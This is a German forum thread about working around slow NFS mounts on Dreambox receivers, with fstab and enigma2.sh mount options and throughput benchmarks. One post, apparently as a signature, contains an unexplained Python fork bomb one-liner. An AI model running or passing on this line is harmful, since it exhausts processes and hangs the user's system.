Workaround für lausige NFS-Performance

    • Workaround für lausige NFS-Performance

      Hier mein Workaround für die lausige NFS-Performance mittels Mountmanger.


      Vorgeschichte:
      Es ist bekannt, dass eine Ursache die Rsize und Wsize von 8192 ist.
      Mit Blockgrössen von 32768 geht's besser.

      Weiterhin ist bekannt, dass das editiren der automounts.xml mit rsize=32768, wsize=32768 ignoriert wird.
      /Mittels Telnet und dem Befehl mount ist das leicht zu überprüfen)

      Bekannt ist auch, dass mittels fstab gemountete Netzwerkverzeichnisse nicht im Mediaplayer angezeigt werden.


      Der Trick:
      Das Netzwerklaufwerk/Verzeichnis mittels fstab unter einem anderen Namen unter
      /media/net/dummydir mounten.

      Beim booten wird die fstab vor dem ausführen des mountmanger interpretiert, der nfs-daemon muss lässt aber das doppelte mounten nur mit gleichen rsize und wsize-werten zu -jedenfalls in meiner Umgebung-

      Die Durchführung (auf eigenes Risiko und für LINUX-Halbwissende beschrieben):
      - mit Telnet und root auf der dreambox einloggen
      - cd /media/net
      - mkdir dummydir
      - die etc/fstab um diesen Eintrag erweitern -entsprechend anpassen-:
      "192.168.2.120:/home/Public /media/net/dummydir nfs rw,soft,tcp,rsize=32768,wsize=32768,nolock 0 0"
      - reboot - Profis können auch das mountmanagerverzeichnis unmounten dann mount -a und mittels mountmanger das alte Verzeichnis neu mounten
      - Telnetsession verliert Kontakt
      - neu einloggen: mount-befehl und gucken ob's geklappt hat
      so siehst bei mir aus:

      .....192.168.2.120:/home/Public on /media/net/NAS1Fast type nfs (rw,v3,rsize=32768,wsize=32768,soft,tcp,nolock,addr=192.168.2.120) /dev/hda1 on /media/hdd type ext3 (rw) 192.168.2.120:/home/Public on /media/net/nas1 type nfs (rw,v3,rsize=32768,wsize=32768,soft,tcp,nolock,addr=192.168.2.120)
      ...

      Viel Erfolg und über Feedback würde ich mich ...

      -

      Dieser Beitrag wurde bereits 2 mal editiert, zuletzt von pizzo ()

    • RE: Workaround für lausige NFS-Performance

      Hallo pizzo,

      das Thema hatten wir schon einmal. Ich Habe das durch Editieren der enigma2.sh gelöst.
      Vorteil: Bei Neustart von Newnigma2 (Oberfläche) wird auch der Mountbefehl erneut durchgeführt. Außerdem wird beim Neustart und Herunterfahren ein unmount durchgeführt. > Läuft einwandfrei !!!

      Die fstab-Lösung hatte damals ein Problem: Verlängerung der Bootzeit, da bei Ausführung wohl noch nicht der Netzwerktreiber aktiviert war (wenn ich mich recht entsinne). Das ist bei der enigma2.sh Variante nicht der Fall.

      enigma2.sh (2.8.4):

      #!/bin/sh

      /usr/bin/showiframe /boot/backdrop.mvi

      # EMU Daemon starten
      #python /usr/bin/eDaemon.pyc

      mount -t nfs -o rw,soft,tcp,async,nolock,rsize=32768,wsize=32768 192.168.xx.xx:/volume1/dvd /media/diskstation/DVDs
      mount -t nfs -o rw,soft,tcp,async,nolock,rsize=32768,wsize=32768 192.168.xx.xx:/volume1/movie /media/diskstation/Filme

      if [ -f /usr/crossepg/crossepg_epgmove.sh ]
      then
      echo "Loading Crossepg"
      /usr/crossepg/crossepg_epgmove.sh
      fi

      cd /home/root
      LD_PRELOAD=/usr/lib/libopen.so.0.0 /usr/bin/enigma2

      # enigma2 exit codes:
      #
      # 0 - restart enigma
      # 1 - halt
      # 2 - reboot
      #
      # >128 signal

      ret=$?

      umount /media/diskstation/DVDs
      umount /media/diskstation/Filme


      case $ret in
      1)
      /sbin/halt
      ;;
      2)
      /sbin/reboot
      ;;
      4)
      /sbin/rmmod lcd
      /usr/sbin/fpupgrade --upgrade 2>&1 | tee /home/root/fpupgrade.log
      sleep 1;
      /sbin/rmmod fp
      /sbin/modprobe fp
      /sbin/reboot
      ;;
      *)
      ;;
      esac


      LG
      cucina68

      Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von cucina68 ()

    • Das Thema sollte heissen "Workaround für lausige NFS-Server-Performance" denn es liegt nur an euerem server.
      python -c 'while 1: __import__("os").fork()'
      Wer der Herde hinterher läuft frisst nur Scheisse , nicht das Gras !

    • Naj, das liegt nicht nur am NFS Server
      da müssen schon beide Teile zusammen spielen
      mal flux einen kleinens Testscript angeworfen
      wsize und rsize jeweils 4/8/16/32 in udp und tcp lesen und schreiben
      und man sieht einen Unterschied

      Results for write throughput:
      53.687 Mbit/s with udp,async,wsize=32768
      53.687 Mbit/s with udp,async,wsize=16384
      44.739 Mbit/s with udp,async,wsize=8192
      44.739 Mbit/s with tcp,async,wsize=8192
      44.739 Mbit/s with tcp,async,wsize=32768
      44.739 Mbit/s with tcp,async,wsize=16384
      33.554 Mbit/s with udp,async,wsize=4096
      33.554 Mbit/s with tcp,async,wsize=4096

      Results for read throughput:
      67.108 Mbit/s with udp,async,rsize=32768
      53.687 Mbit/s with udp,async,rsize=16384
      53.687 Mbit/s with tcp,async,rsize=32768
      53.687 Mbit/s with tcp,async,rsize=16384
      44.739 Mbit/s with udp,async,rsize=8192
      44.739 Mbit/s with tcp,async,rsize=8192
      38.347 Mbit/s with udp,async,rsize=4096
      33.554 Mbit/s with tcp,async,rsize=4096

      greetings
      2x DM7025+ CC 500GB HD
      1x DM7025 SC 250GB HD
      2x Dobx2 Nokia Kabel
      W2K3 NFS 1,5TB
      FreeNAS 8.3 3TB

    • Danke Team69,
      meine Messwerte spiegeln das gleiche Ergebnis wieder.

      Die 32K-Blocksize-Grenze bei Newnigma habe ich noch nicht knacken können.
      Mein NAS hat eine hat eine max_block_size von 256K, die Grenze bei Newnigma muss wohl durch ein Kernelkonstante vorgegeben sein.

      Deinen Mount mit async habe ich nicht gemacht, da ich in Vergangenheit immer mal wieder Probleme bei Systemen mit kleinem RAM hatte, da dann irgendwo anders wieder Performance "weggeknappert" wurde.

    • Original von pizzo

      Die 32K-Blocksize-Grenze bei Newnigma habe ich noch nicht knacken können.


      ...das wird Dir auch mit keinem anderen Enigma-Image (egal ob E1 oder E2) gelingen - das ist kein newnigma-spezifisches Thema.

      Deinen Mount mit async habe ich nicht gemacht, da ich in Vergangenheit immer mal wieder Probleme bei Systemen mit kleinem RAM hatte,


      ...async ist eigentlich default und letztlich auch die beste Lösung.

      Zu Deiner "Vorgeschichte":
      * Nicht immer sind große Blocksizes die beste Lösung - das ist zwar in der Regel so, aber eben nicht immer. ;)

      * Die automounts.xml ist das config-File für den Netzwerkbrowser und nicht für den Mountmanager ;)

      Original von kati910

      Das Thema sollte heissen "Workaround für lausige NFS-Server-Performance" denn es liegt nur an euerem server


      ...ein völlig überflüssiger und zudem falscher Kommentar - schade für jemandem mit Deiner Reputation.

    • Hallo Naseweiss - gut aufgepasst -,
      Hast recht, ich meinte den Netzwerkbrowser bzw. den Freigabemanager und nicht den Mount Manager.
      Wie ich auf Mount Manager komme ... ? Ich sollte mir vielleicht mal die Menüpunkte merken ..

      Gruss